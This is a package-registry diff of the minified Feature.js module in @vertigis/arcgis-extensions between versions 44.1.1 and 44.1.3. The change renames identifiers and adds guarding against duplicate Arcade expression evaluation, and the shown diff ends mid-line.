@vertigis/arcgis-extensions 44.1.1 → 44.1.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/data/Feature.js CHANGED
@@ -1 +1 @@
1
- import{__decorate as e}from"tslib";import t from"@arcgis/core/Graphic";import s from"@arcgis/core/core/Collection";import{fromJSON as i}from"@arcgis/core/geometry/support/jsonUtils";import{EntityBase as r}from"../Entity.js";import{Hyperlink as a}from"../Hyperlink.js";import{InvalidOperationError as o}from"../InvalidOperationError.js";import{ItemType as n}from"../ItemType.js";import{serializable as h}from"../support/Serializable.js";import{CaseInsensitiveObservableMap as l}from"../utilities/CaseInsensitiveObservableMap.js";import{MapTransformCollection as p}from"../utilities/MapTransformCollection.js";import{ObservableMap as u}from"../utilities/ObservableMap.js";import{ReadOnlyMap as c}from"../utilities/ReadOnlyMap.js";import{flatten as m,groupBy as f}from"../utilities/array.js";import{checkArg as d}from"../utilities/checkArg.js";import{compare as g}from"../utilities/collection.js";import{parse as y,esriFormatToGeocortexFormat as _}from"../utilities/date.js";import{isCodedValueDomain as b,isGeometry as x}from"../utilities/esri.js";import{fieldWithArcadeXRegex as w,fieldWithRelationshipRegex as F}from"../utilities/field.js";import{some as v,map as I,concat as A,forEach as z,find as E}from"../utilities/iterable.js";import{getLogger as S}from"../utilities/log.js";import{parse as j,NumberFormat as k}from"../utilities/number.js";import{map as T}from"../utilities/promise.js";import{caseInsensitiveEquals as R}from"../utilities/string.js";import{format as C}from"../utilities/string.js";import{onCollectionPropertyChange as O}from"../utilities/watch.js";import{FeatureSettings as M}from"./FeatureSettings.js";import{Schema as N}from"./Schema.js";const P=S("geocortex.api.data.Feature");export const SCORE_FIELD="_score";export const SCORE_FIELD_ORIGINAL="_score_original";let V=class extends r{attributes;get geometry(){return this._geometry}set geometry(e){this.notifyChange("geometryType"),this._geometry=x(e)||!e?e:i(e),this.schema.spatialReference=this._geometry?.spatialReference}settings;schema;attachments;expressionFieldValues;_itemType=n.FEATURE;get geometryType(){return this.geometry?this.geometry.type:void 0}get source(){return this._source}set source(e){this._source&&this.settings.parent===this._source.featureSettings&&(this.settings.parent=void 0),this._source&&this.schema.parent===this._source.schema&&(this.schema.parent=void 0),this._source=e,this.settings.parent||(this.settings.parent=e?e.featureSettings:void 0),this.schema.parent||(this.schema.parent=e?e.schema:void 0),this.notifyChange("attachmentsInitialized"),this.notifyChange("relatedFeaturesInitialized")}get primaryKey(){const e=this.attributes.get(this.schema.primaryKeyField);return null!=e?`${e}`:void 0}get hasGlobalId(){return!!this.schema.fields.find((e=>"global-id"===e.type))}get globalId(){const e=this.schema.fields.find((e=>"global-id"===e.type));return e?this.attributes.get(e.name):void 0}set globalId(e){const t=this.schema.fields.find((e=>"global-id"===e.type));if(!t)throw new o("Cannot set global ID on feature -- no global ID field.");this.attributes.set(t.name,e)}get presentableAttributes(){return this._presentableAttributes=this._presentableAttributes||new L(this),this._presentableAttributes}get title(){return this.format(this._title||"")}get description(){return this.format(this._description)}get hyperlinks(){return this._hyperlinks||(this._hyperlinks=new B(this))}get relatedFeatures(){return this._relatedFeatures}get type(){if(this.schema.typeIdField&&this.attributes.has(this.schema.typeIdField)){const e=this.attributes.get(this.schema.typeIdField);return this.schema.types.find((t=>t.id===e))}}get attachmentsInitialized(){return!this.source||this._attachmentsInitialized}get relatedFeaturesInitialized(){return!this.source||this.source.relationships.every((e=>this._initializedRelationships.has(e)))}get expressionsInitialized(){return!this.settings.popupTemplate?.expressionInfos?.length||this._expressionsInitialized}get _hydrationStatus(){return this._featureHydrationStatus?this._featureHydrationStatus:this.source?.capabilities?.supportsQuery&&1===this.attributes.size&&void 0!==this.primaryKey?"dehydrated":"hydrated"}set _hydrationStatus(e){this._featureHydrationStatus=e}get _key(){return`${this.source?.id}//${this.primaryKey??this.globalId??this.id}`}get _title(){let e;return this.settings.popupTemplate&&(e="function"==typeof this.settings.popupTemplate.title?this.settings.popupTemplate.title():this.settings.popupTemplate.title),e||this.schema.displayField&&this.presentableAttributes.get(this.schema.displayField)||""}get _description(){if(this.settings.popupTemplate?.content){if("string"==typeof this.settings.popupTemplate.content)return this.settings.popupTemplate.content;if(Array.isArray(this.settings.popupTemplate.content)){const e=this.settings.popupTemplate.content.find((e=>"text"===e.type));if(e)return e.text}}return""}_geometry;_source;_presentableAttributes;_hyperlinks;_featureHydrationStatus;_relatedFeatures;_expressionFieldValues=new u;_expressionValuesUpdatePending=!1;_attachmentsInitialized=!1;_expressionsInitialized=!1;_initializedRelationships=new WeakSet;constructor(e){super(e),this.settings=new M,this.settings._setFeature(this),this.schema=new N,this.schema._featureSettings=this.settings,this.attachments=new s,this.attributes=new l,this._relatedFeatures=new u,this.expressionFieldValues=new G(this._expressionFieldValues,this),O(this,"source.relationships",(()=>{this.notifyChange("relatedFeaturesInitialized")}),!0),this.settings.watch("popupTemplate",((e,t)=>{e!==t&&(this._expressionsInitialized=!1,this.notifyChange("expressionsInitialized"))}),!0)}format(e,...t){let s="string"==typeof e?{format:e}:e;d("options",s).isNotMissing();const{format:i}=s;d("format",i).isNotMissing();let r=s.format.replace(K,J);return r=r.replace($,((e,t,i,r,a)=>q(this,t||i,r,{...s,format:a?`{0:${a}}`:"{0}"}))),r=r.replace(Z,"{{"),s={...s},s.format=r,C(s,...t)}clearExpressionInfos(){this._expressionFieldValues.clear()}toGraphic(){return toGraphic(this)}async fetchExpressionInfos(e=!1){const{expressionInfos:t}=this.settings.popupTemplate??{};if(!t)return;const{runAsyncArcadeExpression:s}=await import("../utilities/arcade.js");if(await Promise.all(t.map((async e=>{try{const t=this.source?.layer??this.source?.sublayer;let i=this.source?.mapExtension;if(!i){const e=this.source?.layerExtension;i=e?.mapExtension}this._expressionFieldValues.set(e.name,await s(e.expression,{layer:t,map:i?.map,feature:this,spatialReference:this.schema.spatialReference}))}catch(t){t instanceof Error&&P.error({message:"Error evaluating expression '{0}': {1}.",error:t},e.name,t.message),this._expressionFieldValues.set(e.name,Q)}}))),e)return this.attributes.on("change",(async e=>{this._expressionValuesUpdatePending||(this._expressionValuesUpdatePending=!0,setTimeout((async()=>{this._expressionValuesUpdatePending=!1,await this.fetchExpressionInfos()}),0))}));this._expressionsInitialized=!0,this.notifyChange("expressionsInitialized")}async fetchRelatedFeatures(e,t){if(!this.source)return;let s=[];if(e){const t=new Set(Array.isArray(e)?e:[e]);for(const e of t){const t="string"==typeof e?this.source.relationships.find((t=>t.id===e)):e;if(!t||!this.source.relationships.includes(t))throw new o("Relationship not found in feature source.");s.push(t)}}else s=this.source.relationships.toArray();const i=await T(s,(async e=>[e,await(async()=>{const s=await e.getRelatedFeatures(this,t);return this._initializedRelationships.add(e),s})()]));for(const e of i)this._relatedFeatures.set(e[0],e[1]);this.notifyChange("relatedFeaturesInitialized")}async fetchAttachments(){if(this.source){const e=await this.source.getAttachments(this);g(this.attachments,e,{equals:(e,t)=>e.id===t.id,onMissing:(e,t)=>this.attachments.remove(e),onNew:(e,t)=>{this.attachments.add(e)},onMatch:(e,t,s,i)=>{this.attachments.splice(s,1,t)}}),this._attachmentsInitialized=!0,this.notifyChange("attachmentsInitialized")}}async addAttachment(e){return this.source?.addAttachment(this,e)}async deleteAttachments(e){return this.source?.deleteAttachments(this,e)}_getSerializableProperties(){return{...super._getSerializableProperties(),attributes:{serializeModes:["project"],serialize:e=>{const t={};if("project"===e&&this.primaryKey&&(this.source?.capabilities).supportsQuery)t[this.schema.primaryKeyField]=this.primaryKey;else for(const[e,s]of this.attributes.entries())t[e]=s;return t},deserialize:e=>{if(this.attributes.clear(),e instanceof Map)e.forEach(((e,t)=>{this.attributes.set(t,e)}));else for(const[t,s]of Object.entries(e))this.attributes.set(t,s)}},geometry:{serializeModes:["project"],serialize:e=>"project"===e&&(this.source?.capabilities).supportsQuery?this.getDefault("geometry"):this.geometry?.toJSON(),deserialize:e=>{this.geometry=e}},settings:{serializeModes:["project"],serialize:e=>"project"===e&&(this.source?.capabilities).supportsQuery?this.getDefault("settings"):this.settings.toJSON(e)},schema:{serializeModes:["project"],serialize:e=>"project"===e&&(this.source?.capabilities).supportsQuery?this.getDefault("schema"):this.schema.toJSON(e)},source:["project"]}}_watchProperty(e,t,s,i){if("title"===e||"description"===e){const r=super._watchProperty(e,t,s,i),a="title"===e?"settings.popupTemplate.title":"settings.popupTemplate.content",o=this.watch(a,(()=>{this.notifyChange(e)})),n=this.presentableAttributes.on("change",(()=>{this.notifyChange(e)}));return{remove(){r.remove(),o.remove(),n.remove()}}}return super._watchProperty(e,t,s,i)}async _onInitialize(){const e=this._findRelationshipIds(this._title,this._description),t=this.source?this.source.relationships.map((e=>e.id)).toArray():[],s=[];for(const i of e)t.includes(i)?s.push(this.fetchRelatedFeatures(i)):P.error("Could not find relationship '{0}' referenced in feature title or description.",i);await Promise.all(s)}_findRelationshipIds(...e){const t=[];for(const s of e){let e;const i=s.replace(K,J);for(;e=H.exec(i),null!==e;){const s=e[0];t.includes(s)||t.push(e[1])}}return t}};V=e([h],V);export{V as Feature};export function toFeature(e,t){const s=new V(t);if(e.attributes)for(const t of Object.keys(e.attributes))s.attributes.set(t,e.attributes[t]);return s.geometry=e.geometry,e.popupTemplate&&(s.settings.popupTemplate=e.popupTemplate),s}export function toGraphic(e){const s=new t;s.attributes={};for(const t of e.attributes.keys())s.attributes[t]=e.attributes.get(t);return e.source?.layer&&(s.layer=e.source?.layer),s.geometry=e.geometry,e.settings.popupTemplate&&(s.popupTemplate=e.settings.popupTemplate),s}const D="Presentable attributes are read-only.",U="Feature hyperlinks are read-only. Modify the feature's hyperlink templates instead.";class G extends c{_feature;constructor(e,t){super(e),this._feature=t}get(e){if(!super.has(e)){const{spatialReference:t}=this._feature.schema,s=this._feature.settings.popupTemplate?.expressionInfos?.find((t=>t.name===e));if(!s)return;(async()=>{const{isArcadeScriptAsync:i,runAsyncArcadeExpression:r,arcadeScriptUsesGeometry:a,runArcadeExpression:o}=await import("../utilities/arcade.js");try{if(i(s.expression,t)){const i=this._feature.source?.layer??this._feature.source?.sublayer;let a=this._feature.source?.mapExtension;if(!a){const e=this._feature.source?.layerExtension;a=e?.mapExtension}this._originalMap.set(e,await r(s.expression,{feature:this._feature,layer:i,map:a?.map,spatialReference:t}))}else{if(a(s.expression,t)){const{enableGeometrySupport:e}=await import("@arcgis/core/arcade/arcade");await e()}this._originalMap.set(e,o(s.expression,{feature:this._feature,spatialReference:t}))}}catch(t){t instanceof Error&&P.error({message:"Error evaluating expression '{0}': {1}.",error:t},e,t.message),this._originalMap.set(e,Q)}})()}return super.get(e)}}class L extends c{[Symbol.toStringTag];get size(){return this._feature.attributes.size+this._feature.schema.fields._expressionFieldsLength}_feature;_numObservers;_onAllObserversRemoved;constructor(e){super(new l),this._feature=e}clear(){throw new o(D)}delete(e){throw new o(D)}forEach(e,t){d("callback",e).isNotMissing();for(const s of this.keys())e.call(t,this.get(s),s,this)}get(e){const t=this._getFieldExtensionFormat(e);return this._formatAttribute(e,t)}has(e){return v(this.keys(),(t=>R(t,e)))}set(...e){throw new o(D)}*entries(){yield*I(this.keys(),(e=>[e,this.get(e)]))}*keys(){const e=this._feature.schema.fields.expressionFields.map((e=>e.name)),t=[];this._feature.source?.relationships&&this._feature.source.relationships.filter((e=>"one-to-one"===e.cardinality||"many-to-one"===e.cardinality)).forEach((e=>t.push(...e.relatedSource.schema.fields.map((t=>`relationships/${e.id}/${t.name}`)).toArray()))),yield*A(this._feature.attributes.keys(),e.toArray(),t)}*values(){yield*I(this.keys(),(e=>this.get(e)))}[Symbol.iterator](){return this.entries()}toJSON(){return Array.from(this.entries())}on(e,t){if(d("callback",t).isNotMissing(),!this._numObservers){const e=new Map,t=new Set,s=()=>{t.forEach((e=>e.remove())),t.clear()},i=()=>{const t={added:Array.from(this.entries()).filter((t=>t[1]!==e.get(t[0]))),removed:Array.from(e.entries()).filter((e=>!this.has(e[0])||e[1]!==this.get(e[0]))),target:this};(t.added.length||t.removed.length)&&(this.emit("change",t),r())},r=()=>{e.clear(),s(),z(this.keys(),(s=>{const r=this._getFieldExtension(s);let a="{0}";if(r){const e=r.watch("format",(()=>{i()}));t.add(e),r.format&&(a=r.format)}e.set(s,this._formatAttribute(s,a))}))};r();const a=this._feature.attributes.on("change",(()=>{i()})),o=this._feature.schema.fieldExtensions.on("change",(()=>{i()})),n=this._feature.settings.formatSettings.watch(["numberFormat","dateFormat","locale"],(()=>{i()})),h=this._feature.expressionFieldValues.on("change",(()=>{i()})),l=this._feature.schema.fields.on("change",(e=>{(e.added?.some((e=>null!==e.name.match(w)))||e.removed?.some((e=>null!==e.name.match(w))))&&i()})),p=this._feature.settings.watch("popupTemplate",(()=>{i()}));this._onAllObserversRemoved=()=>{h.remove(),a.remove(),o.remove(),l.remove(),n.remove(),p.remove(),e.clear(),s()}}const s=super.on("change",t);return this._numObservers++,{remove:()=>{s.remove(),this._numObservers--,this._numObservers||this._onAllObserversRemoved()}}}watch(e,t){if("size"===e){const e=this._feature.attributes.watch("size",((e,s)=>{t(e+this._feature.schema.fields._expressionFieldsLength,s+this._feature.schema.fields._expressionFieldsLength,"size",this)})),s=this._feature.schema.fields.watch("_expressionFieldsLength",((e,s)=>{t(e+this._feature.attributes.size,s+this._feature.attributes.size,"size",this)}));return{remove:()=>{e.remove(),s.remove()}}}return super.watch(e,t)}_getFieldExtension(e){const t=this._feature.schema.findFieldByName(e);if(t)return this._feature.schema.fieldExtensions.forField(t)}_getFieldExtensionFormat(e){const t=this._getFieldExtension(e);return t?t.format:"{0}"}_formatAttribute(e,t){const s=e.match(w),i=e.match(F);if(s)return q(this._feature,"expression",s[1],{format:t});if(i){const[,e,s]=i;return q(this._feature,e,s,{format:t})}return q(this._feature,void 0,e,{format:t})}}const $=/\{(?:relationships[\\/]([\w-]*)[\\/])?(?:(expression)[\\/])?([_a-zA-ZÀ-ÖØ-öø-ÿ][._a-zA-ZÀ-ÖØ-öø-ÿ0-9]*)(?::([^}]*))?\}/gi,H=/\{relationships\/([\w-]*)[\\/]([^}]*)\}/gi,K=/{{/g,J="\0MAGIC\0",Z=new RegExp(J,"g"),Q="#INVALID";class B extends p{_feature;_hyperlinks;constructor(e){super(e.settings.hyperlinkTemplates,(e=>this._getHyperlink(e))),this._feature=e}_getHyperlink(e){return this._hyperlinks=this._hyperlinks||new WeakMap,this._hyperlinks.has(e)||this._hyperlinks.set(e,new W(this._feature,e)),this._hyperlinks.get(e)}}let W=class extends a{get url(){return this._template.url?this._feature.format(this._template.url):this._template.url}set url(e){throw new o(U)}get text(){return this._template.text?this._feature.format(this._template.text):this._template.text}set text(e){throw new o(U)}get iconUrl(){return this._template.iconUrl?this._feature.format(this._template.iconUrl):this._template.iconUrl}set iconUrl(e){throw new o(U)}get target(){return this._template.target?this._feature.format(this._template.target):this._template.target}set target(e){throw new o(U)}get tooltip(){return this._template.tooltip?this._feature.format(this._template.tooltip):this._template.tooltip}set tooltip(e){throw new o(U)}_feature;_template;constructor(e,t){super(t.toJSON()),this._feature=e,this._template=t}_watchProperty(e,t,s,i){const r=super._watchProperty(e,t,s,i),a=this._template.watch(e,(()=>{this.notifyChange(e)})),o=this._feature.presentableAttributes.on("change",(()=>{this.notifyChange(e)})),n=this._feature.relatedFeatures.on("change",(()=>{this.notifyChange(e)}));return{remove:()=>{r.remove(),a.remove(),o.remove(),n.remove()}}}_getSerializableProperties(){return{}}};function q(e,t,s,i={format:"{0}"}){if(!R(t,"expression")){if(t){const r=E(e.relatedFeatures.keys(),(e=>R(e.id,t)));if(!r)return P.debug("Could not resolve related field '{0}/{1}",t,s),Q;const a=Array.from(e.relatedFeatures.get(r));return"many-to-one"===r.cardinality||"one-to-one"===r.cardinality?a.length<1?(P.debug("Could not resolve related field '{0}/{1}",t,s),Q):X(a[0],s,i):a.map((e=>X(e,s,i))).filter((e=>""!==e)).join(",")}return X(e,s,i)}if(!e.settings.popupTemplate?.expressionInfos?.find((e=>R(e.name,s))))return P.debug("Could not find expression '{0}'.",s),Q;try{const t=e.expressionFieldValues.get(s)??i.defaultExpressionValue??"",r=e.schema.findFieldByName(`expression/${s}`);let a=i;if(r){const t=e.schema.fieldExtensions.forField(r);t&&(a=te(e,s,ee(t.formatSettings),a))}return Y(e,t,a)}catch(e){if(e instanceof Error)return P.error({message:"Error evaluating expression '{0}': {1}.",error:e},s,e.message),Q;throw e}}function X(e,t,s){let i=e.attributes.get(t);if(null==i)return"";const r=e.schema.findFieldByName(t),a=e.type?.domains?.[r?.name??t],o=e=>e.codedValues?.find((e=>e.code.toString()===i.toString()))?.name??i;let n={format:"{0}"};if(R(t,e.schema.typeIdField)){const t=a&&"inherited"!==a.type?a:r?.domain;i="coded-value"===t?.type?o(t):e.type?.name??i}else if(a&&b(a))i=o(a);else if(r?.domain&&b(r.domain))i=o(r.domain);else if(r){switch(r.type){case"integer":case"small-integer":case"single":case"double":i=j(i);break;case"date":i=y({timeZone:e.schema.timeZone},i);break;default:i=`${i.toString()}`}const t=e.schema.fieldExtensions.forField(r);t&&(n=ee(t.formatSettings))}return Y(e,i,te(e,t,n,s))}function Y(e,t,s){let i=s;if("number"==typeof t||t instanceof Date){i={...ee(e.settings.formatSettings),...s}}return"{0}"===i.format&&"string"==typeof t?t:C(i,t)}function ee(e){return{format:"{0}",dateFormat:e.dateFormat,numberFormat:e.numberFormat,currency:e.currency,fractionalDigits:e.fractionalDigits,locale:e.locale,timeZone:e.timeZone}}function te(e,t,s,i){const{popupTemplate:r}=e.settings,a=r?.fieldInfos?r.fieldInfos.find((e=>R(e.fieldName,t))):void 0,o=a?a.format:void 0;let n;return o&&(n={format:"{0}",numberFormat:o.digitSeparator?k.NUMBER:k.FIXED_POINT,dateFormat:_(o.dateFormat),fractionalDigits:o.places}),{...n,...s,...i}}W=e([h],W);export async function resolveRelatedFeatures(e){const t=f(e,(e=>e.source));await Promise.all(m([...t.keys()].map((e=>e.relationships.toArray()))).map((e=>(async e=>{[...(await e.getAllRelatedFeatures(t.get(e.source))).entries()].forEach((([t,s])=>{t.relatedFeatures.set(e,s)}))})(e))))}
1
+ import{__decorate as e}from"tslib";import t from"@arcgis/core/Graphic";import s from"@arcgis/core/core/Collection";import{fromJSON as i}from"@arcgis/core/geometry/support/jsonUtils";import{EntityBase as r}from"../Entity.js";import{Hyperlink as a}from"../Hyperlink.js";import{InvalidOperationError as n}from"../InvalidOperationError.js";import{ItemType as o}from"../ItemType.js";import{serializable as h}from"../support/Serializable.js";import{CaseInsensitiveObservableMap as l}from"../utilities/CaseInsensitiveObservableMap.js";import{MapTransformCollection as p}from"../utilities/MapTransformCollection.js";import{ObservableMap as u}from"../utilities/ObservableMap.js";import{ReadOnlyMap as c}from"../utilities/ReadOnlyMap.js";import{flatten as m,groupBy as f}from"../utilities/array.js";import{checkArg as d}from"../utilities/checkArg.js";import{compare as g}from"../utilities/collection.js";import{parse as y,esriFormatToGeocortexFormat as _}from"../utilities/date.js";import{isCodedValueDomain as b,isGeometry as x}from"../utilities/esri.js";import{fieldWithArcadeXRegex as w,fieldWithRelationshipRegex as F}from"../utilities/field.js";import{some as v,map as I,concat as A,forEach as z,find as E}from"../utilities/iterable.js";import{getLogger as S}from"../utilities/log.js";import{parse as j,NumberFormat as k}from"../utilities/number.js";import{map as T}from"../utilities/promise.js";import{caseInsensitiveEquals as R}from"../utilities/string.js";import{format as C}from"../utilities/string.js";import{onCollectionPropertyChange as O}from"../utilities/watch.js";import{FeatureSettings as M}from"./FeatureSettings.js";import{Schema as N}from"./Schema.js";const V=S("geocortex.api.data.Feature");export const SCORE_FIELD="_score";export const SCORE_FIELD_ORIGINAL="_score_original";let P=class extends r{attributes;get geometry(){return this._geometry}set geometry(e){this.notifyChange("geometryType"),this._geometry=x(e)||!e?e:i(e),this.schema.spatialReference=this._geometry?.spatialReference}settings;schema;attachments;expressionFieldValues;_itemType=o.FEATURE;get geometryType(){return this.geometry?this.geometry.type:void 0}get source(){return this._source}set source(e){this._source&&this.settings.parent===this._source.featureSettings&&(this.settings.parent=void 0),this._source&&this.schema.parent===this._source.schema&&(this.schema.parent=void 0),this._source=e,this.settings.parent||(this.settings.parent=e?e.featureSettings:void 0),this.schema.parent||(this.schema.parent=e?e.schema:void 0),this.notifyChange("attachmentsInitialized"),this.notifyChange("relatedFeaturesInitialized")}get primaryKey(){const e=this.attributes.get(this.schema.primaryKeyField);return null!=e?`${e}`:void 0}get hasGlobalId(){return!!this.schema.fields.find((e=>"global-id"===e.type))}get globalId(){const e=this.schema.fields.find((e=>"global-id"===e.type));return e?this.attributes.get(e.name):void 0}set globalId(e){const t=this.schema.fields.find((e=>"global-id"===e.type));if(!t)throw new n("Cannot set global ID on feature -- no global ID field.");this.attributes.set(t.name,e)}get presentableAttributes(){return this._presentableAttributes=this._presentableAttributes||new L(this),this._presentableAttributes}get title(){return this.format(this._title||"")}get description(){return this.format(this._description)}get hyperlinks(){return this._hyperlinks||(this._hyperlinks=new B(this))}get relatedFeatures(){return this._relatedFeatures}get type(){if(this.schema.typeIdField&&this.attributes.has(this.schema.typeIdField)){const e=this.attributes.get(this.schema.typeIdField);return this.schema.types.find((t=>t.id===e))}}get attachmentsInitialized(){return!this.source||this._attachmentsInitialized}get relatedFeaturesInitialized(){return!this.source||this.source.relationships.every((e=>this._initializedRelationships.has(e)))}get expressionsInitialized(){return!this.settings.popupTemplate?.expressionInfos?.length||this._expressionsInitialized}get _hydrationStatus(){return this._featureHydrationStatus?this._featureHydrationStatus:this.source?.capabilities?.supportsQuery&&1===this.attributes.size&&void 0!==this.primaryKey?"dehydrated":"hydrated"}set _hydrationStatus(e){this._featureHydrationStatus=e}get _key(){return`${this.source?.id}//${this.primaryKey??this.globalId??this.id}`}get _title(){let e;return this.settings.popupTemplate&&(e="function"==typeof this.settings.popupTemplate.title?this.settings.popupTemplate.title():this.settings.popupTemplate.title),e||this.schema.displayField&&this.presentableAttributes.get(this.schema.displayField)||""}get _description(){if(this.settings.popupTemplate?.content){if("string"==typeof this.settings.popupTemplate.content)return this.settings.popupTemplate.content;if(Array.isArray(this.settings.popupTemplate.content)){const e=this.settings.popupTemplate.content.find((e=>"text"===e.type));if(e)return e.text}}return""}_geometry;_source;_presentableAttributes;_hyperlinks;_featureHydrationStatus;_relatedFeatures;_expressionFieldValues=new u;_expressionValuesUpdatePending=!1;_attachmentsInitialized=!1;_expressionsInitialized=!1;_initializedRelationships=new WeakSet;constructor(e){super(e),this.settings=new M,this.settings._setFeature(this),this.schema=new N,this.schema._featureSettings=this.settings,this.attachments=new s,this.attributes=new l,this._relatedFeatures=new u,this.expressionFieldValues=new G(this._expressionFieldValues,this),O(this,"source.relationships",(()=>{this.notifyChange("relatedFeaturesInitialized")}),!0),this.settings.watch("popupTemplate",((e,t)=>{e!==t&&(this._expressionsInitialized=!1,this.notifyChange("expressionsInitialized"))}),!0)}format(e,...t){let s="string"==typeof e?{format:e}:e;d("options",s).isNotMissing();const{format:i}=s;d("format",i).isNotMissing();let r=s.format.replace(K,J);return r=r.replace($,((e,t,i,r,a)=>q(this,t||i,r,{...s,format:a?`{0:${a}}`:"{0}"}))),r=r.replace(Z,"{{"),s={...s},s.format=r,C(s,...t)}clearExpressionInfos(){this._expressionFieldValues.clear()}toGraphic(){return toGraphic(this)}async fetchExpressionInfos(e=!1){const{expressionInfos:t}=this.settings.popupTemplate??{};if(!t)return;const{runAsyncArcadeExpression:s}=await import("../utilities/arcade.js");if(await Promise.all(t.map((async e=>{try{const t=this.source?.layer??this.source?.sublayer;let i=this.source?.mapExtension;if(!i){const e=this.source?.layerExtension;i=e?.mapExtension}this._expressionFieldValues.set(e.name,await s(e.expression,{layer:t,map:i?.map,feature:this,spatialReference:this.schema.spatialReference}))}catch(t){t instanceof Error&&V.error({message:"Error evaluating expression '{0}': {1}.",error:t},e.name,t.message),this._expressionFieldValues.set(e.name,Q)}}))),e)return this.attributes.on("change",(async e=>{this._expressionValuesUpdatePending||(this._expressionValuesUpdatePending=!0,setTimeout((async()=>{this._expressionValuesUpdatePending=!1,await this.fetchExpressionInfos()}),0))}));this._expressionsInitialized=!0,this.notifyChange("expressionsInitialized")}async fetchRelatedFeatures(e,t){if(!this.source)return;let s=[];if(e){const t=new Set(Array.isArray(e)?e:[e]);for(const e of t){const t="string"==typeof e?this.source.relationships.find((t=>t.id===e)):e;if(!t||!this.source.relationships.includes(t))throw new n("Relationship not found in feature source.");s.push(t)}}else s=this.source.relationships.toArray();const i=await T(s,(async e=>[e,await(async()=>{const s=await e.getRelatedFeatures(this,t);return this._initializedRelationships.add(e),s})()]));for(const e of i)this._relatedFeatures.set(e[0],e[1]);this.notifyChange("relatedFeaturesInitialized")}async fetchAttachments(){if(this.source){const e=await this.source.getAttachments(this);g(this.attachments,e,{equals:(e,t)=>e.id===t.id,onMissing:(e,t)=>this.attachments.remove(e),onNew:(e,t)=>{this.attachments.add(e)},onMatch:(e,t,s,i)=>{this.attachments.splice(s,1,t)}}),this._attachmentsInitialized=!0,this.notifyChange("attachmentsInitialized")}}async addAttachment(e){return this.source?.addAttachment(this,e)}async deleteAttachments(e){return this.source?.deleteAttachments(this,e)}_getSerializableProperties(){return{...super._getSerializableProperties(),attributes:{serializeModes:["project"],serialize:e=>{const t={};if("project"===e&&this.primaryKey&&(this.source?.capabilities).supportsQuery)t[this.schema.primaryKeyField]=this.primaryKey;else for(const[e,s]of this.attributes.entries())t[e]=s;return t},deserialize:e=>{if(this.attributes.clear(),e instanceof Map)e.forEach(((e,t)=>{this.attributes.set(t,e)}));else for(const[t,s]of Object.entries(e))this.attributes.set(t,s)}},geometry:{serializeModes:["project"],serialize:e=>"project"===e&&(this.source?.capabilities).supportsQuery?this.getDefault("geometry"):this.geometry?.toJSON(),deserialize:e=>{this.geometry=e}},settings:{serializeModes:["project"],serialize:e=>"project"===e&&(this.source?.capabilities).supportsQuery?this.getDefault("settings"):this.settings.toJSON(e)},schema:{serializeModes:["project"],serialize:e=>"project"===e&&(this.source?.capabilities).supportsQuery?this.getDefault("schema"):this.schema.toJSON(e)},source:["project"]}}_watchProperty(e,t,s,i){if("title"===e||"description"===e){const r=super._watchProperty(e,t,s,i),a="title"===e?"settings.popupTemplate.title":"settings.popupTemplate.content",n=this.watch(a,(()=>{this.notifyChange(e)})),o=this.presentableAttributes.on("change",(()=>{this.notifyChange(e)}));return{remove(){r.remove(),n.remove(),o.remove()}}}return super._watchProperty(e,t,s,i)}async _onInitialize(){const e=this._findRelationshipIds(this._title,this._description),t=this.source?this.source.relationships.map((e=>e.id)).toArray():[],s=[];for(const i of e)t.includes(i)?s.push(this.fetchRelatedFeatures(i)):V.error("Could not find relationship '{0}' referenced in feature title or description.",i);await Promise.all(s)}_findRelationshipIds(...e){const t=[];for(const s of e){let e;const i=s.replace(K,J);for(;e=H.exec(i),null!==e;){const s=e[0];t.includes(s)||t.push(e[1])}}return t}};P=e([h],P);export{P as Feature};export function toFeature(e,t){const s=new P(t);if(e.attributes)for(const t of Object.keys(e.attributes))s.attributes.set(t,e.attributes[t]);return s.geometry=e.geometry,e.popupTemplate&&(s.settings.popupTemplate=e.popupTemplate),s}export function toGraphic(e){const s=new t;s.attributes={};for(const t of e.attributes.keys())s.attributes[t]=e.attributes.get(t);return e.source?.layer&&(s.layer=e.source?.layer),s.geometry=e.geometry,e.settings.popupTemplate&&(s.popupTemplate=e.settings.popupTemplate),s}const D="Presentable attributes are read-only.",U="Feature hyperlinks are read-only. Modify the feature's hyperlink templates instead.";class G extends c{_feature;_pending=new Set;constructor(e,t){super(e),this._feature=t}get(e){return super.has(e)||this._calcExpressionValue(e),super.get(e)}async _calcExpressionValue(e){if(!this._pending.has(e)){this._pending.add(e);try{const{spatialReference:t}=this._feature.schema,s=this._feature.settings.popupTemplate?.expressionInfos?.find((t=>t.name===e));if(!s)return;const{isArcadeScriptAsync:i,runAsyncArcadeExpression:r,arcadeScriptUsesGeometry:a,runArcadeExpression:n}=await import("../utilities/arcade.js");try{if(i(s.expression,t)){const i=this._feature.source?.layer??this._feature.source?.sublayer;let a=this._feature.source?.mapExtension;if(!a){const e=this._feature.source?.layerExtension;a=e?.mapExtension}this._originalMap.set(e,await r(s.expression,{feature:this._feature,layer:i,map:a?.map,spatialReference:t}))}else{if(a(s.expression,t)){const{enableGeometrySupport:e}=await import("@arcgis/core/arcade/arcade");await e()}this._originalMap.set(e,n(s.expression,{feature:this._feature,spatialReference:t}))}}catch(t){t instanceof Error&&V.error({message:"Error evaluating expression '{0}': {1}.",error:t},e,t.message),this._originalMap.set(e,Q)}}finally{this._pending.delete(e)}}}}class L extends c{[Symbol.toStringTag];get size(){return this._feature.attributes.size+this._feature.schema.fields._expressionFieldsLength}_feature;_numObservers;_onAllObserversRemoved;constructor(e){super(new l),this._feature=e}clear(){throw new n(D)}delete(e){throw new n(D)}forEach(e,t){d("callback",e).isNotMissing();for(const s of this.keys())e.call(t,this.get(s),s,this)}get(e){const t=this._getFieldExtensionFormat(e);return this._formatAttribute(e,t)}has(e){return v(this.keys(),(t=>R(t,e)))}set(...e){throw new n(D)}*entries(){yield*I(this.keys(),(e=>[e,this.get(e)]))}*keys(){const e=this._feature.schema.fields.expressionFields.map((e=>e.name)),t=[];this._feature.source?.relationships&&this._feature.source.relationships.filter((e=>"one-to-one"===e.cardinality||"many-to-one"===e.cardinality)).forEach((e=>t.push(...e.relatedSource.schema.fields.map((t=>`relationships/${e.id}/${t.name}`)).toArray()))),yield*A(this._feature.attributes.keys(),e.toArray(),t)}*values(){yield*I(this.keys(),(e=>this.get(e)))}[Symbol.iterator](){return this.entries()}toJSON(){return 